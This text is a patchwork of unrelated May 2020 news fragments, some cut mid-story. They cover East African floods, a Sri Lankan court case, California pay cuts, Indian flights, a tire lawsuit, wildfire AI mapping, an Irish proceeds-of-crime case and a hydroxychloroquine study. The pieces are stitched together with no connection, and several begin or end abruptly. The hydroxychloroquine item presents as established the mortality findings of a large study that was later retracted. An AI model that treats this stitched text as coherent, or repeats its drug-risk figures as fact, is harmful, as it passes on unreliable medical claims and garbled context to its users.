Shes staying at the shelter, even though her pregnancy means she is in a high-risk group when it comes to Covid-19 infection. There are nearly 200 displaced people with her at the shelter.



We are so vulnerable now, she said from a class shared with three other families, which is now her familys temporary home. I cant stay away from other people because of the limited space.



I am worried that I may get the virus, and I am worried about my kids, and my unborn baby, she told the BBC.



Joseline was sleeping next to her two children on the night of 7 May, when she heard other people in her village screaming.



I realised later on that my neighbours were actually telling me to run for my life. The entire village had been hit by a massive flood.



I grabbed my two kids and ran away, I had no time to take anything else."



She had bought some clothes for her unborn baby before the floods. I could not even save those clothes. The floods took them all.



Whatever we had was swept away."



Her husband works in another district and he has been unable to travel due to Covid-19 restrictions. I have nowhere to go and I dont know what to do next.



Relief workers with the Red Cross say thousands of people are now sheltering in churches and schools in flood-hit East Africa with limited access to water and soap.



Hundreds have died and tens of thousands have been displaced because of the floods in more than a half a dozen countries.



More than 2,700 Covid-19 deaths and nearly 82,000 confirmed cases have been recorded in Africa, according to John Hopkins University.



Among the flood affected countries in East Africa, Somalia has the highest death figure of 55, followed by 50 in Kenya and 21 in Tanzania.



Pacific islands

Tropical cyclone Harold hit Pacific island countries more than a month ago.



Some affected countries had to lift Covid-19 restrictions to allow people to take refuge in evacuation centres. Some people are still in evacuation centres now because the pandemic is affecting aid efforts.



The worst-hit country, Vanuatu, has extended the state of emergency as more than 92,000 people have been affected, according to Unicef.



In Fiji, about 10 evacuation centres are operating because recovery has been very slow and many houses are yet to be rebuilt.



Access to water is still a big challenge as the cyclone has destroyed water supply infrastructures, said Vani Catanasiga, director of Fiji Council of Social Services.



Without adequate water supply, following Covid-19 hygiene guidelines is very difficult, although the Fijian government has been successful in flattening the Covid-19 infection curve.



Humanitarian agencies say relief operations can help in enforcing Covid-19 guidelines.



Red Cross relief worker Irene Nakasiits is distributing water and soap as essentials to the flood-displaced communities in western Uganda.



Although it is challenging to do so, we can still remind affected communities to follow the guidelines, according to Marshal Mukuvare of the IFRC.



We can have messages written on food and other relief materials, which we distribute in affected places.



This helps people do what they can, even in such adverse conditions.



Its uncharted territory, according to Siddarth Srinivas, Food and Climate policy lead for Oxfam in Asia. When it comes to how to deal with extreme weather and a pandemic like Covid-19, the debate has just started.



It needs much more thinking before we come up with solid measures.

 BBC

Theme(s): Others.
Sri Lankas Supreme Court is due to rule in a key constitutional case challenging President Gotabaya Rajapaksas decision not to reconvene parliament in light of a delayed general election  a case that observers say could have lasting implications for the island nations democracy.

Hearings began on Monday, when six petitioners and the governments counsel argued on the legality of summoning a parliament that was dissolved earlier this year.

At the heart of the cases lies the issue of the countrys general election, originally scheduled for April 25 after President Rajapaksa dissolved parliament on March 2.

The Election Commission later rescheduled the poll for June 20 due to the coronavirus pandemic and the health risks associated with holding a poll.

According to Article 70 of Sri Lankas constitution [PDF], a general election must be held and a new parliament summoned within three months after the dissolution of the former parliament.

That deadline expires on June 2, prompting the constitutional challenges by the main opposition Samagi Jana Balawegaya (SJB) party and several civil society groups.

On Thursday, President Rajapaksas counsel argued that it was not possible to reconvene a parliament that had already been dissolved.

A dead parliament will not come alive, said Romesh De Silva in his arguments before the court.

The petitioners contend that a clause in the constitution allows for the summoning of the dissolved parliament in case of emergencies.

[In case of an emergency the President can] summon the Parliament which has been dissolved to meet on a date not less than three days from the date of such Proclamation and such Parliament shall stand dissolved upon the termination of the emergency or the conclusion of the General Election, whichever is earlier, says the relevant clause of the constitution.

Earlier in the week, the Election Commission told the court that it would not be possible to hold elections by June 20, and that the commission could hold the poll nine to 11 weeks after receiving the green light from the health authorities that the country is safe.

Sri Lanka has so far officially recorded 1,028 cases of the coronavirus, with nine deaths, according to government data, although it is feared the numbers could be far higher due to limited testing.





Without the oversight of parliament

Since March 2, President Rajapaksa has operated his government without the oversight of parliament, and his counsel has argued that he may continue to do so until a general election can be held and a new parliament convened.

Whats going on here is effectively an executive takeover of the state, says Asanga Welikala, a Sri Lankan constitutional expert.

The constitution clearly envisages that all three branches are there to deal with a national emergency [and] here the president is refusing to do that, because he wants the executive to completely dominate the situation, he says.

Its a thing that goes to the very heart of democracy under the Sri Lankan constitution and to the legality of executive action.

Sri Lankas system of governance shares executive authority between the president and prime minister, a post currently occupied by Rajapaksas brother and former president Mahinda Rajapaksa.

Under the 19th amendment to the constitution, passed following a 2015 election in which the Rajapaksas were voted out of office, the powers of the president were drastically curtailed.

In November, however, Gotabaya Rajapaksa stormed to a landslide presidential election victory, promising a more centralised form of government and stricter security policies in a campaign that was marked by an appeal to Sinhalese Buddhist nationalism.

Since then, President Rajapaksa has appointed former military officials to more than a dozen key posts as the bureaucratic heads of ministries, and vested further power in his own office and those of his brothers.

He has also reappointed or promoted several military officers who were previously facing human rights violations charges in court over their conduct during the almost three-decade-long civil war against Tamil rebels.

I think Sri Lanka is on the verge of a qualitative change in the form of governance, says Alan Keenan, Sri Lanka senior consultant for the International Crisis Group (ICG).

For a country that has been an electoral democracy, if not a fair one, throughout five decades of insurgency, war, terrorism, [and] natural disaster, the one thing that has held up has been that it is a constitutional electoral democracy. That may well change.

In addition to questions of overall governance, the petitions at the Supreme Court have also challenged the legality of the governments fiscal spending and authority to borrow funds in the absence of a parliament to provide oversight.

For any government funding, after [the] three months, if you are doing any spending you have to obtain parliamentary approval, said Manjula Gajanayake, national coordinator for Colombo-based elections watchdog the Centre for Monitoring Election Violence (CMEV).

The executive arm is the only one that is active at the moment. Thats why we believe that there should be a parliament [] Parliament is the only arm that can check executive powers. But that arm is dissolved.

Rajapaksas landslide win

In October 2018, Sri Lanka saw another constitutional crisis, when then-President Maithripala Sirisena attempted to dismiss the government of then-Prime Minister Ranil Wickremesinghe. After a prolonged crisis, the Supreme Court ruled in favour of PM Wickremesinghe.

Politically, Rajapaksas landslide win in November suggests that his Sri Lanka Podujana Peramuna (SLPP) party would win a large number of seats in any general election. There has also been widespread approval for his governments handling of the coronavirus crisis so far, with curfews swiftly imposed and official numbers of infection low.

They are seen to have done well to control the virus, says the ICGs Keenan. Especially given the stark contrast between the competence of this government and the utter incompetence of the previous government, which was a disaster in terms of managing complicated problems.

As such, Keenan and other analysts suggested that the governments aim would be to hold a poll quickly to secure a two-thirds majority in parliament, one that would allow the Rajapaksas to amend the constitution.

In the pre-pandemic scenario it was very clear from the highest levels of government that they are totally opposed to the 19th amendment, the cutbacks on presidential power and that  they want to roll that back, said Welikala.

In the interim, however, there remains uncertainty about whether the government can continue to rule directly, without parliamentary oversight.

I think their first desire would be to have an election sooner rather than later and do well in it, says Keenan. The question is: would they really be willing  and they seem to be  to rule in some kind of extraconstitutional way, and how long would they be willing and able to do that?

The opposition, led by Sajith Premadasas SJB party, meanwhile, has been in disarray since the November poll, in which Rajapaksa defeated Premadasa. Premadasa stood as a candidate from the United National Party (UNP), the party then in control of parliament.

The aftermath of the election saw the UNP, led by then-Prime Minister Ranil Wickremesinghe, disintegrate, with Premadasa forming the SJB as a breakaway faction that made him leader of the opposition in parliament.

They are very weak and thats definitely going to play into the Rajapaksas and the SLPPs [hands], said Keenan.

So maybe if Sri Lanka does head into uncharted constitutional waters, or unconstitutional waters, will the UNP and SJB and the others bury the hatchet and fight to defend certain constitutional principles?

Hearings in the case at the Supreme Court will continue on Tuesday.

Asad Hashim is a digital correspondent with Al Jazeera. He tweets @AsadHashim
Maryland property and casualty insurance consumers will receive more than $250 million in premium relief during the COVID-19 State of Emergency, according to a Maryland Insurance Administration (MIA) press release.

As of May 14, property and casualty insurance companies have submitted 102 filings to the MIA for various refunds, credits, payments and dividends since the emergency began. Governor Larry Hogan declared a State of Emergency in Maryland on March 5, 2020.

We are pleased that insurers have responded to the administrations request that they consider the impact of people remaining at home on claim exposures and that they adjust premiums appropriately, said Maryland Insurance Commissioner Kathleen A. Birrane in the release. Premium relief is a real benefit to Marylanders and the Administration will continue to monitor and work with insurers on premium adjustments.

The MIA has encouraged all property and casualty insurers active in the state to consider making rate filings providing temporary relief to consumers during the emergency in a March 23 industry bulletin. At the same time, the MIA waived all filing fees for rate relief filings and instituted expedited review.

In addition, the MIA issued a March 30 bulletin encouraging insurers to temporarily waive the commercial use exclusion on private passenger automobile policies, allowing state residents who have lost employment because of the COVID-19 emergency to earn income as delivery drivers for food, medicine and other household essentials.

Source: The Maryland Insurance Administration

Topics Property Casualty Maryland
In the moments before the crash, the flights captain radioed to report difficulties with the landing gear. The pilot then attempted an emergency landing, but the maneuver damaged a fuel tank and sent the plane careering into the nearby neighborhood, according to the airline official, who spoke on the condition on anonymity because he was not authorized to comment to the media.
Members of the California Assembly, shown in 2019, will not get pay raises this year and may see their salaries reduced because of the state budget crisis. (Robert Gourley / Los Angeles Times)

The California budget crisis caused by the coronavirus pandemic has put an end to seven straight years of pay hikes for state legislators and other elected officials and raises the possibility that they could see their salaries reduced.

The crisis has triggered provisions of a ballot measure approved by California voters in 2009 that prohibits a citizens commission that sets the salary of 132 elected officials from approving raises when there is a deficit.

Gov. Gavin Newsom said this month that the state faces a projected $54.3-billion budget deficit through early next summer, prompting austerity measures that include a 10% pay cut for rank-and-file state workers as well as himself.

The last time civil servants had their pay cut, during the Great Recession of a decade ago, the state Citizens Compensation Commission decided to also slash the salaries of elected officials including legislators, reasoning that they should share the pain of other state government employees.

That could happen again when the panel holds its annual meeting Thursday to set salaries for elected officials.

Id say its a possibility, Commission Chairman Tom Dalzell said regarding a cut in pay. If employees are asked to make a sacrifice, it could be seen that elected leadership should share in the sacrifice.

Dalzell said he is waiting to take a position on the issue until he hears from other members of the seven-person commission, which was created by the states voters in 1990 and is appointed by the governor.

But the head of the Howard Jarvis Taxpayers Assn. said Friday that sparing legislators from the kinds of pay cuts facing most state workers, as well as many private-sector employees, would send the wrong message.

It would reinforce in the minds of most average California citizens that our elected officials are just part of the elites and not connected very tightly to the real world, said Jon Coupal, president of the taxpayer group.

Legislators said they were prepared to accept whatever decision is made by the compensation panel.

Story continues

The voters placed the determination of legislator salaries in the hands of an independent commission in good times and bad, and I will respect the decision that the commission makes," said Senate President Pro Tem Toni Atkins (D-San Diego).

The panels actions over the years have made Newsom the highest-paid governor in the nation at $209,747 while California legislators are the second-highest paid, after New York, with an annual base salary of $114,877. The citizens commission also sets salaries for the lieutenant governor, attorney general, treasurer, controller, secretary of state, insurance commissioner, superintendent of public instruction and members of the Board of Equalization.

A 2009 ballot measure approved by California voters to rein in state spending prohibits the commission from giving pay raises to elected officials if the state's general fund is expected to end the year with a deficit.

In a letter dated May 15, the state Department of Finance informed the commission of this year's deficit, so the only decision left to the citizens panel is whether to maintain the pay levels as they are or make reductions.

The commission cut elected officials' pay by 18% in 2009 after the governor and Legislature furloughed state workers to balance a budget hit hard by the Great Recession.

The elected officials salaries are just getting close to what they were before the recession.

Coupal said pay cuts for legislators are warranted. I would think given the economic crisis that we are currently in and that we are on the borderline of a fairly deep recession, that it would be appropriate, he said.

Earlier this month, Newsom said the state would begin bargaining with state employee unions to reduce pay by approximately 10% starting July 1 to save $2.8 billion next fiscal year.

The state will make every attempt to reach these savings through collective bargaining, the governors budget says. However, the administration will include a budget provision to impose reductions if the state cannot reach an agreement.

Proposed cuts have already drawn backlash from state workers and their representatives, including Tim Edwards, president of Cal Fire Local 2881, the union for 6,000 current and retired state firefighters and other employees.

Its a bad and dangerous policy. Its arbitrary, Edwards told a legislative committee at a hearing on the proposed pay reductions Thursday. We strongly and absolutely reject any cuts to state employees.

The independent Legislative Analysts Office recommended this week that state negotiators consider alternatives to furloughs as the state seeks to reduce payroll costs. Alternatives are also being explored by SEIU Local 1000, the largest state employee union, representing 96,000 mostly blue-collar state workers.

Newsoms offer to work with the unions on a solution is better than what happened a decade ago, when employee pay was slashed by directive, said SEIU spokesman Brian Nash.

The 15% pay cut, and the devastation it wrought, was unnecessary, Nash said. We could have gone through a process like were doing now. Instead, people lost their homes and their ability to provide for their families.

The union is declining to publicly discuss alternatives to pay cuts. Its not in the best interest of our members to divulge our strategy prior to sitting down at the bargaining table with the state, Nash said.
A pit-stop allure for the caravans crisscrossing the Sahara, the worlds largest desert, is the place called Guelta d'Archei in Chad where hundreds of camels herd on the breath-taking oasis. In stunning images shared on Twitter by Sarah Elzeini, that have accumulated over 26.8k likes, the Ennedi Plateau of the Sahara Desert featured a large herd of camels gathered around the deepwater Guelta around the canyon walls in the northeast region.

The scenic beauty of the imagery and amazing, humble, and generous people of Chad became a topic of discussion in the comments sections. Several appreciated the photos and gave an account of their travel to Chads stunning camel oasis.

A breathtaking oasis in the Sahara. Camels in Guelta d'Archei, Chad. pic.twitter.com/V3yQR1GdLn  Sarah M Elzeini (@SarahElzeini) May 20, 2020

Not just that, users shared beautiful travel photos from their trips to the Western African desert. Four days travel by road from N'djamena using a 4*4 vehicle. And an additional 30 minutes trek on foot to access this gem, wrote a user while sharing multiple photos. The surreal landscape, one of the Saharas most ancient oasis, intrigued many. I want this framed. Whos the photographer?? wrote one other user. Gorgeous photos! Amazing! commented the third.

Read: Video Of Forest Officials Rescuing Cobra With Bare Hands Leaves Netizens Divided

Read: International Tea Day: Netizens Express Their Love For Chai Through Memes

Just to confirm that those pictures are from North Eastern part of Chad. pic.twitter.com/3y5tj4wl6w  Cherif Mahamat Zene (@Cherif_MZ) May 21, 2020

Don't ruin it, leave the camels alone  why ey? (@why_eyy) May 22, 2020

It seems we have alot in common when it comes to the way of life and apparently for the love of camel  Hilal mohamed (@HilalMohamed01) May 21, 2020

Here some other pictures pic.twitter.com/9yr4Bg5lwr  Hassani Loni-mii (@thechemist235) May 21, 2020

It looks so surreal   Tweet Bibi   (@LifesTooShortF2) May 21, 2020

Those cliffs looks like close ups of camel feet  Getmebaked (@getmebaked) May 21, 2020

Wowwwwwee  Brandy Sahni (@BrandySahni) May 21, 2020

Absolutely amazing   Ani (@ani90ange) May 21, 2020

Where is this exactly?? I should visit it    (@almtsk3) May 21, 2020

I had the chance to visit this place in 2010. It is really an amazing site  Imad Abdul Baki (@imadabdulbaki) May 21, 2020

Very often the only images of Chad imagine are of unrest, conflict, desert sand and armed marauders. Alas such beauty exists there too.

We need to appreciate Africa more.  Dooyum Igbalagh (@Dooyum_Igbalagh) May 21, 2020

Wow,is there a reason why we r seeing these camels in d Oasis?



Or it is usual to see d camels, ma'am  Balogun of Iwo (@loyalenieemax) May 20, 2020

That's so beautiful   certified wage slave  (@nullanvoid_) May 21, 2020

Read: 'Have Faith In Your Abilities Always': Video Of Baby Climbing Wall Inspires Netizens

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HOUSTON and OCALA, Fla., May 22, 2020 /PRNewswire/ -- Trial lawyers at Kaster, Lynch, Farrar & Ball (KLF&B) won an important Arkansas Court of Appeals ruling, upholding a $1.2 million product defect verdict against Hankook Tire Company and its U.S. subsidiary, as well as sanctions against Hankook and an awarding of attorney fees. The May 20 decision involved an Arkansas truck driver seriously injured in a crash caused by a defective Hankook tire.

The case shines a light on defective commercial truck tires used on dump trucks, RVs and a wide variety of fleet vehicles. The KLF&B trial team has extensive experience working on behalf of individuals who have been injured in accidents caused by truck tires including the Hankook 385/65R 22.5, Goodyear G670 Load Range H 295/80R22.5, Sailun S825 425/65R22.5, and the Hercules H402 425/65R22.5.

In addition to the KLF&B team, the plaintiff was also represented by trial lawyers Jerry Kelly of Carlisle, Arkansas-based Kelly Law Firm and Ben Caruth of Morrilton, Arkansas-based Caruth & Virden.

"This case underscores how Hankook and other tire manufacturers must do a better job spotting defective tires before they enter the marketplace," said trial lawyer Skip Lynch. "These companies need to take responsibility rather than use the courts to stall and delay. And when manufacturers fail to take these matters seriously, they need to know that courts will uphold sanctions and award attorney fees."

Kaster, Lynch, Farrar & Ball has a national reputation for holding tire manufacturers accountable and raising awareness about the dangers of defective tires. The firm is the only one in the U.S. to obtain a court order to inspect Hankook manufacturing facilities in South Korea. The team recently obtained a similar order allowing inspections of Sailun manufacturing facilities in China.

In the Arkansas ruling, the court found that a 2016 verdict against Hankook was proper. Jurors had found that Hankook and subsidiary Hankook Tire America were separately liable for the defective tire that caused the 2010 crash injuring Elmer Philpot. He was ejected through the windshield of the dump truck he was driving after a tread separation on a Hankook 385/65R 22.5 tire. In addition, the appellate court upheld sanctions and an award of attorney fees based on what the opinion described as Hankook's "obtuse and unnecessary abuse of the discovery process."

"This jury spoke loud and clear," said trial lawyer Bruce Kaster. "We are grateful that the Arkansas Court of Appeals agreed, and Mr. Philpot can finally move on with his life."

The ruling means Hankook must respect the jury's $1.2 million damages verdict and attorney fees of $43,025. The case is Hankook Tire Co. et al. v. Elmer Philpot, Case No. 2020 Ark. App. 316, in the Arkansas Court of Appeals.

About Kaster, Lynch, Farrar & Ball

Based in Ocala, Florida, and Houston, Texas, trial lawyers at Kaster, Lynch, Farrar & Ball have hard-earned expertise in cases against global vehicle and tire manufacturers over various defects that can cause significant injuries or deaths. The firm is a nationwide leader in securing verdicts and settlements against the world's largest tire and vehicle manufacturers. For more information, visit TheTireLawyers.com .

Media Contact:

Robert Tharp

800-559-4534

[email protected]

SOURCE Kaster Lynch Farrar & Ball, LLP
After nearly two months of suspension, the aviation sector in India is all set to take it to the skies once again as the government has given the green signal for the resumption of domestic flights.

Civil Aviation Minister Hardeep Singh Puri said domestic scheduled commercial passenger flights will resume in a calibrated manner from May 25.

AFP

All scheduled commercial passenger flights have been suspended in India since March 25, when the Modi government imposed lockdown to curb the spread of the novel coronavirus.

"Domestic civil aviation operations will recommence in a calibrated manner from Monday, May 25, 2020. All airports and air carriers are being informed to be ready for operations from 25th May," Puri said on Twitter.

Domestic civil aviation operations will recommence in a calibrated manner from Monday 25th May 2020.



All airports & air carriers are being informed to be ready for operations from 25th May.



SOPs for passenger movement are also being separately issued by @MoCA_GoI.  Hardeep Singh Puri (@HardeepSPuri) May 20, 2020





"SOPs (Standard Operating Procedures) for passenger movement are also being separately issued by the Ministry of Civil Aviation," he added.

AP

Several airlines including Air India had already started taking bookings since earlier this week. It was earlier expected that the government will allow the resumption of domestic flights from May 18, as part of the relaxations under Lockdown 4.0, however it did not happen.

There were reports that the government had agreed on resumption of flights between green zones, but the airlines were not in favour of this as most of the big airports including Delhi, Mumbai, Bengaluru, etc were in red zones.

Once the flights resume, the passengers will have to report at the airport well in advance, at least 2-3 hours before the departure, as against the 45 minutes which was the norm till now. Passengers will also have to adhere to strict social distancing norms both at the airport and inside the flights.

AFP

To reduce maximum contact, meals will be placed on the seats before boarding. Initially, it was proposed that the middle seat will be kept empty, however, it is not clear yet if this will be implemented as airlines had opposed the suggestion. The use of masks, face shields, and gloves could also be made mandatory for the flyers. Another major change that is likely to be enforced is the use of the Aarogya Setu app for all the passengers to gain access to the airport.

AP

The government had haled all domestic and international flights on March 25 as it started a nationwide lockdown to halt the spread of the coronavirus. No indication was given on when international travel would resume.
The Forestry, Wildlife, and Fisheries Program at Cleveland State Community College in Cleveland is the winner of the 2020 Community Colleges of Appalachia Instructional Program Award.



Nearly eight years ago, FWF Program Coordinator Robert Brewer joined the program and was tasked with growing the only program of its kind in the Tennessee Board of Regents system. What started as a program with only four students in 2013 has grown to nearly 70 students under Mr. Brewers leadership today.



Our FWF program is not only one of the unique programs at Cleveland State, it is unique within the TBR system, said Dr. Bill Seymour, Cleveland State Community College. Our Wildlife Society is one of the very best in the Southeast Region among all colleges including large universities.



Officials said, "Giving students the experience they need to continue their education at FWF programs at state or regional universities or enter the workforce, the Cleveland State FWF program is ultimately arming students with the skill sets necessary to preserve our natural resources for generations to come. Continually adding program specific courses and encouraging thousands of hours of community service over the years, the FWF program is leaving a footprint for other colleges to model in the future."



I am very proud of everything we have accomplished in the FWF program, but I cannot take all the credit. Without our partnerships, this program would not be nearly as effective as it is, said Mr. Brewer. The students also play a huge role in the success of the program. Their enthusiasm and hard work make the instruction easy.

Mr. Brewer is also the coordinator of the Greg A. Vital Center for Natural Resources and Conservation at Cleveland State.



"Upon the many programs FWF students at Cleveland State take part in each year, none is more powerful than the Student Wildlands Adventure Program (SWAP)," officials said.

SWAP, started in part by the colleges FWF program in 2017, allows for the exchange of student groups across the country to learn about resource management in environments and cultures different from their own.

The SWAP program recently won the Gifford Pinchot Excellence in Interpretation and Conservation Education Award for Region 3 of the U.S. Forest Service and was one of eight finalists for the national award. SWAP has grown to include colleges and universities spanning four states.



Mr. Brewer has been a faculty member (biology) with Cleveland State Community College since 2003, holding a bachelors and masters of science degree from the University of Tennessee at Knoxville in wildlife and fisheries science and ecology and evolutionary biology, respectively. Cleveland State Community College Dean of STEM and Advanced Technologies Karen Wyrick nominated the FWF program for this years award.



There is no question that Robert Brewer is the catalyst behind this program, added Dr. Seymour. His passion and determination to teach others to preserve our natural resources ignites the same passion in our students.


A 30-year-old woman died in mysterious circumstances after she tried to stop her husbands Mumbai-bound bus, in which he had brought migrant workers home in Hazaribagh, police said on Friday.

Kunti Devi did not want her husband Basudev Mahto to go back to Mumbai, fearing the rise in coronavirus cases there, and tried to stop the bus.

While the husband was revving up the bus engine to leave, she accidently fell on the ground and died, police said.

The incident took place at Sarukudar village in Hazaribags Vishnugarh block around 5pm yesterday. However, police were informed about the incident around 10pm at night.

Mahto, who works as a bus driver in Mumbai, brought 25 Jharkhand migrant workers to Hazaribagh. After dropping the passengers at a quarantine centre, he went to meet his parents, wife and the two children at Sarukudar village.

Pramod Kumar Sinha, Bishnugarh police station in-charge, said that during questioning of few witnesses and villagers on Thursday night they came to know that the wife was not ready to let her husband return to Mumbai and had become adamant.

Mahto reportedly did not stop after the incident. Since we got the information late and did not have the number of the bus, we could not stop it. He could not be reached on his mobile, Sinha said. The officer added that they are investigating to find out the location of Mahto in Mumbai.

My wife was not ready to let me go back to Mumbai. I told her that I would come back in a week after bringing another lot of migrant workers from there. But she was not ready to listen. She said either I allow her to come along or give my mobile to her, Mahto told police.

The argument continued and I took over the drivers seat. As I got ready to leave, she got inside the bus. Anyhow, I got her down from the bus. I thought she went back home. But, she came in front of my bus. I could not hear her. As the vehicle began moving, she fell on the ground. I never thought that she would die, Mahto told police.

A section of the villagers, however, alleged that Mahto crushed her wife to death.

We did not find any sign that the woman was crushed. There was head injury and prima facie it seemed a case of accident, he said.

Hundreds of migrant labourers are returning to Jharkhand everyday by trains and buses. As per the government records, 1.5 lakh migrant workers and students stranded outside the state have returned to Jharkhand since interstate movement of trains and buses was allowed by the Centre on April 29.

Around seven lakh migrant workers have registered with the state government to return home.
As California and the American West head into fire season amid the coronavirus pandemic, scientists are harnessing artificial intelligence and new satellite data to help predict blazes across the region.

Anticipating where a fire is likely to ignite and how it might spread requires information about how much burnable plant material exists on the landscape and its dryness. Yet this information is surprisingly difficult to gather at the scale and speed necessary to aid wildfire management.

Now, a team of experts in hydrology, remote sensing and environmental engineering have developed a deep-learning model that maps fuel moisture levels in fine detail across 12 western states, from Colorado, Montana, Texas and Wyoming to the Pacific Coast.

The researchers describe their technique in the August 2020 issue of Remote Sensing of Environment. According to the senior author of the paper, Stanford University ecohydrologist Alexandra Konings, the new dataset produced by the model could "massively improve fire studies."

According to the paper's lead author, Krishna Rao, a PhD student in Earth system science at Stanford, the model needs more testing to figure into fire management decisions that put lives and homes on the line. But it's already illuminating previously invisible patterns.

Just being able to see forest dryness unfold pixel by pixel over time, he said, can help reveal areas at greatest risk and "chart out candidate locations for prescribed burns."

The work comes at a time of growing urgency for this kind of insight, as climate change extends and intensifies the wildfire season - and as the ongoing COVID-19 pandemic complicates efforts to prevent large fires through controlled burns, prepare for mass evacuations and mobilize first responders.

Getting a read on parched landscapes

Fire agencies today typically gauge the amount of dried-out, flammable vegetation in an area based on samples from a small number of trees. Researchers chop and weigh tree branches, dry them out in an oven and then weigh them again.

You look at how much mass was lost in the oven, and that's all the water that was in there. That's obviously really laborious, and you can only do that in a couple of different places, for only some of the species in a landscape." Konings, Assistant Professor of Earth System Science, Stanford's School of Earth, Energy & Environmental Sciences

The U.S. Forest Service painstakingly collects this plant water content data at hundreds of sites nationwide and adds them to the National Fuel Moisture Database, which has amassed some 200,000 such measurements since the 1970s.

Known as live fuel moisture content, the metric is well established as a factor that influences wildfire risk. Yet little is known about how it varies over time from one plant to another - or from one ecosystem to another.

For decades, scientists have estimated fuel moisture content indirectly, from informed but unproven guesses about relationships between temperature, precipitation, water in dead plants and the dryness of living ones.

According to Rao, "Now, we are in a position where we can go back and test what we've been assuming for so long - the link between weather and live fuel moisture - in different ecosystems of the western United States."

AI with a human assist

The new model uses what's called a recurrent neural network, an artificial intelligence system that can learn to recognize patterns in vast mountains of data. The scientists trained their model using field data from the National Fuel Moisture Database, then put it to work estimating fuel moisture from two types of measurements collected by spaceborne sensors.

One involves measurements of visible light bouncing off Earth. The other, known as synthetic aperture radar (SAR), measures the return of microwave radar signals, which can penetrate through leafy branches all the way to the ground surface.

"One of our big breakthroughs was to look at a newer set of satellites that are using much longer wavelengths, which allows the observations to be sensitive to water much deeper into the forest canopy and be directly representative of the fuel moisture content," said Konings, who is also a center fellow, by courtesy, at Stanford Woods Institute for the Environment.

To train and validate the model, the researchers fed it three years of data for 239 sites across the American west starting in 2015, when SAR data from the European Space Agency's Sentinel-1 satellites became available.

They checked its fuel moisture predictions in six common types of land cover, including broadleaf deciduous forests, needleleaf evergreen forests, shrublands, grasslands and sparse vegetation, and found they were most accurate - meaning the AI predictions most closely matched field measurements in the National Fuel Moisture Database - in shrublands.

Rich with aromatic herbs like rosemary and oregano, and often marked by short trees and steep, rocky slopes, shrublands occupy as much as 45 percent of the American West.

They're not only the region's biggest ecosystem, Rao said, "they are also extremely susceptible to frequent fires since they grow back rapidly." In California, fires whipped to enormous size by Santa Ana winds burn in a type of shrubland known as chaparral. "This has led fire agencies to monitor them intensively," he said.

The model's estimates feed into an interactive map that fire agencies may eventually be able to use to identify patterns and prioritize control measures. For now, the map offers a dive through history, showing fuel moisture content from 2016 to 2019, but the same method could be used to display current estimates.

"Creating these maps was the first step in understanding how this new fuel moisture data might affect fire risk and predictions," Konings said. "Now we're trying to really pin down the best ways to use it for improved fire prediction."
As states have begun to relax some of these restrictions, blood banks will be under strain to fulfill the increased demand. As of early May, patients in states including Maryland and Virginia can schedule elective procedures such as tumor removals and orthopedic surgeries. These patients with upcoming transfusions are dependent on fresh blood for survival, Goodhue said. Platelets, the cells in blood that help it clot, are only viable for five days after collection. Red blood cells, the most commonly transfused blood component, expire after 42 days.
An antimalarial drug touted by President Donald Trump as a game changer in the treatment of Covid-19 significantly increased the risk of death and potentially fatal heart problems among hospitalized patients, in a new and largest analysis yet of use of this medicine published Friday.

The study, which was led by an Indian American professor at Harvard Mandeep Mehra, covered 96,000 patients at 671 hospitals on 6 continents.

I wish we had had this information at the outset, Mehra told The Washington Post, as there has potentially been harm to patients.

After controlling the data for age, gender, ethnicity and underlying medical conditions, the analysis found that the risk of mortality was 34% higher among patients administered hydroxychloroquine and 137% higher was the chances of developing heart arrhythmias.

The mortality risk was even higher at 45% among patients given the antimalarial drug along with an antibiotic  a combination that the US president has promoted with great enthusiasm. The risk of developing heart arrhythmias was significantly higher. Chloroquine fared just as dismally.

An earlier observational study of 1,400 Covid-19 patients in New York state hospitals had shown no significant benefit of hydroxychloroquine and an antibiotic among hospitalized patients and had, in fact, pointed higher risk of cardiac arrest among these patients.

The new findings come just days after President Trump revealed he had progressed from promoting the drug cocktail to consuming them, with the consent of his White House physician. He started on a two-week regimen after two White House staffers had tested positive for the coronavirus.

Trump told reporters Thursday he still has a day to finish the course. He had not commented on the last two studies, but has called one before, any analysis of patients on Veteran Affairs hospital as false and called it the work of people who are not friends of the administration.

President Trump continued to push for expedited opening of the country, with an eye on the November elections when he seeks a second term. Defending his decision to order a ban on travelers from China, Trump said Thursday, They came in and we did the right thing. We would have lost millions of lives. We did the right thing, but now were opening up again. .

All 50 states are now partially open as the deadly virus has continued to take a toll on the country. Fatalities went up by 1,263 in the last 20 hours to 94,729 and infections rose by 25,294 to 1.57 million.

Among those killed was Wilson Roosevelt Jerman, who was the longest serving White House employees. He was 91 and had served 11 presidents. His granddaughter told reporters Jerman has started as a cleaner and rose to become a doorman and butler. He retired in 2012. He died last week.

With his kindness and care, Wilson Jerman helped make the White House a home for decades of First Families, including ours, Michelle Obama, the former first lady, said in a statement. His service to others  his willingness to go above and beyond for the country he loved and all those whose lives he touched  is a legacy worthy of his generous spirit. We were lucky to have known him. Barack and I send our sincerest love and prayers to his family. Tributes came from other former first families as well.
The Supreme Court has dismissed an application to hear an appeal against a lower court's decision to appoint a receiver over a Dublin property deemed to have been acquired with the proceeds of crime.

In 2019, following an application by the Criminal Assets Bureau (CAB), the High Court held that assets, including a house at Casement Drive, Finglas, Dublin, were the proceeds of crime.

The court held that the house, as well as the other items including a quantity of cash, were beneficially owned by alleged illegal drug trafficker Jason Boyle, but were registered in the names of his parents Laurence (Larry) and Rosaleen Boyle, of Coolebrook Cottages, Finglas West, to conceal their son's involvement.

The Boyles opposed the application and had rejected CAB's claims that the assets were acquired in part or in full by monies derived from Jason Boyle, who denies he is involved in trafficking drugs.

In 2016 CAB, represented in the court proceedings by Michael Binchy Bl, secured freezing orders under the Proceeds of Crime Act against the Boyles in respect of various assets, including the three-bedroom house at Casement Drive.

CAB claimed that Jason Boyle lived at the property, with an estimated worth of 250,000 after it had been extensively renovated after being purchased in 2013.

One of the bedrooms, converted into a walk-in closet, had a Jacuzzi and a sauna installed, while high-end electronics, including a 65in TV and a surround sound system, had been bought.

The kitchen had also been extended and bulletproof glass had also been installed, CAB also alleged.

Representing themselves in the proceedings, the Boyles had claimed that the property was acquired for 70,000 in 2013 with a 60,000 loan from Ms Boyle's father.

Ms Justice Carmel Stewart rejected the Boyles' claims and after deeming the property and other items the proceeds of crime, appointed Kevin McMeel, CAB's legal officer, as receiver of the house.

Dismissed

The High Court's decision to appoint a receiver was appealed to the Court of Appeal, which last January dismissed the Boyles' appeal.

The Boyles then sought to have their appeal - aimed at overturning the receiver's appointment - considered by the Supreme Court.

